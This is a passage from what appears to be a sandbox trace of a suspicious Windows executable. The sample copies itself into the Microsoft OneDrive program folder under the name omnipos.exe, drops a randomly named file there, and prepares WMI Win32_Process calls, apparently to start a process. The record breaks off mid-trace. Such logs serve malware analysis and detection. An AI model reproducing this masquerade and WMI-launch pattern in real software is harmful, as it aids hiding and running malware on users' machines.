SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0139.110] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe", nBufferLength=0x105, lpBuffer=0x1bb7e7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe", lpFilePart=0x0) returned 0x35 [0139.110] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0139.110] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe", lpFilePart=0x0) returned 0x35 [0139.110] CopyFileW (lpExistingFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe" (normalized: "c:\\program files (x86)\\microsoft onedrive\\omnipos.exe"), bFailIfExists=0) returned 1 [0139.259] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft OneDrive\\9a9ef8f6a80f81", nBufferLength=0x105, lpBuffer=0x1bb7e420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft OneDrive\\9a9ef8f6a80f81", lpFilePart=0x0) returned 0x38 [0139.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e938) returned 1 [0139.259] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft OneDrive\\9a9ef8f6a80f81" (normalized: "c:\\program files (x86)\\microsoft onedrive\\9a9ef8f6a80f81"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x36c [0139.260] GetFileType (hFile=0x36c) returned 0x1 [0139.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e8a8) returned 1 [0139.260] GetFileType (hFile=0x36c) returned 0x1 [0139.261] WriteFile (in: hFile=0x36c, lpBuffer=0x28bf150*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x1bb7e978, lpOverlapped=0x0 | out: lpBuffer=0x28bf150*, lpNumberOfBytesWritten=0x1bb7e978*=0x182, lpOverlapped=0x0) returned 1 [0139.262] CloseHandle (hObject=0x36c) returned 1 [0139.265] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0139.266] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0139.266] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0139.266] IUnknown:Release (This=0x1a943398) returned 0x1 [0139.268] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bcc3500) returned 0x0 [0139.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3500, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0139.268] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3500, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc94ab0) returned 0x0 [0139.268] WbemDefPath:IUnknown:Release (This=0x1bcc3500) returned 0x0 [0139.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc94ab0) returned 0x0 [0139.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0139.269] WbemDefPath:IUnknown:AddRef (This=0x1bc94ab0) returned 0x3 [0139.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0139.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0139.306] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bcc3540) returned 0x0 [0139.306] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc3540, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0139.306] WbemDefPath:IUnknown:Release (This=0x1bcc3540) returned 0x3 [0139.306] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0139.306] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0139.306] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0139.306] WbemDefPath:IUnknown:Release (This=0x1bc94ab0) returned 0x2 [0139.306] WbemDefPath:IUnknown:Release (This=0x1bc94ab0) returned 0x1 [0139.306] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0139.306] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0139.306] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc94ab0) returned 0x0 [0139.306] WbemDefPath:IUnknown:AddRef (This=0x1bc94ab0) returned 0x3 [0139.306] WbemDefPath:IUnknown:Release (This=0x1bc94ab0) returned 0x2 [0139.306] WbemDefPath:IWbemPath:SetText (This=0x1bc94ab0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0139.306] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94ab0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0139.306] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0139.306] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0139.307] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94ab0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0139.307] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94ab0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0139.307] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94ab0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0139.307] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0139.307] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0139.307] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0139.307] IUnknown:Release (This=0x1a943398) returned 0x1 [0139.309] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bcc3580) returned 0x0 [0139.309] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3580, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0139.309] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3580, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc94b70) returned 0x0 [0139.309] WbemDefPath:IUnknown:Release (This=0x1bcc3580) returned 0x0 [0139.309] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94b70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc94b70) returned 0x0 [0139.309] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94b70, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0139.310] WbemDefPath:IUnknown:AddRef (This=0x1bc94b70) returned 0x3 [0139.310] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94b70, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0139.310] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94b70, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0139.310] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94b70, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bcc35c0) returned 0x0 [0139.310] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc35c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0139.310] WbemDefPath:IUnknown:Release (This=0x1bcc35c0) returned 0x3 [0139.310] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0139.310] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0139.310] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94b70, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0139.310] WbemDefPath:IUnknown:Release (This=0x1bc94b70) returned 0x2 [0139.310] WbemDefPath:IUnknown:Release (This=0x1bc94b70) returned 0x1 [0139.310] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0139.310] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0139.310] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94b70, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc94b70) returned 0x0 [0139.310] WbemDefPath:IUnknown:AddRef (This=0x1bc94b70) returned 0x3 [0139.310] WbemDefPath:IUnknown:Release (This=0x1bc94b70) returned 0x2 [0139.310] WbemDefPath:IWbemPath:SetText (This=0x1bc94b70, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0139.310] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94b70, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0139.311] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94b70, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0139.311] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94b70, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0139.311] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94b70, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0139.311] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94b70, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0139.311] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94b70, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0139.311] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94b70, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0139.311] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0139.311] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0139.311] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0139.311] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0139.311] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0139.311] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0139.311] IUnknown:Release (This=0x1a943398) returned 0x1 [0139.313] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bcc3600) returned 0x0 [0139.313] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3600, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0139.313] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3600, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bc94c30) returned 0x0 [0139.313] WbemDefPath:IUnknown:Release (This=0x1bcc3600) returned 0x0 [0139.314] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bc94c30) returned 0x0 [0139.314] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0139.314] WbemDefPath:IUnknown:AddRef (This=0x1bc94c30) returned 0x3 [0139.314] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0139.314] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0139.314] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bcc3640) returned 0x0 [0139.314] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc3640, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0139.314] WbemDefPath:IUnknown:Release (This=0x1bcc3640) returned 0x3 [0139.314] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0139.314] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0139.314] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0139.315] WbemDefPath:IUnknown:Release (This=0x1bc94c30) returned 0x2 [0139.315] WbemDefPath:IUnknown:Release (This=0x1bc94c30) returned 0x1 [0139.315] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0139.315] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0139.315] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bc94c30) returned 0x0 [0139.315] WbemDefPath:IUnknown:AddRef (This=0x1bc94c30) returned 0x3 [0139.315] WbemDefPath:IUnknown:Release (This=0x1bc94c30) returned 0x2 [0139.315] WbemDefPath:IWbemPath:SetText (This=0x1bc94c30, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0139.315] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94c30, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0139.315] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94c30, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0139.315] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94c30, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0139.315] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0139.315] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0139.315] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0139.315] IUnknown:Release (This=0x1a943398) returned 0x1 [0139.317] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bcc3740) returned 0x0 [0139.317] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3740, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0139.317] 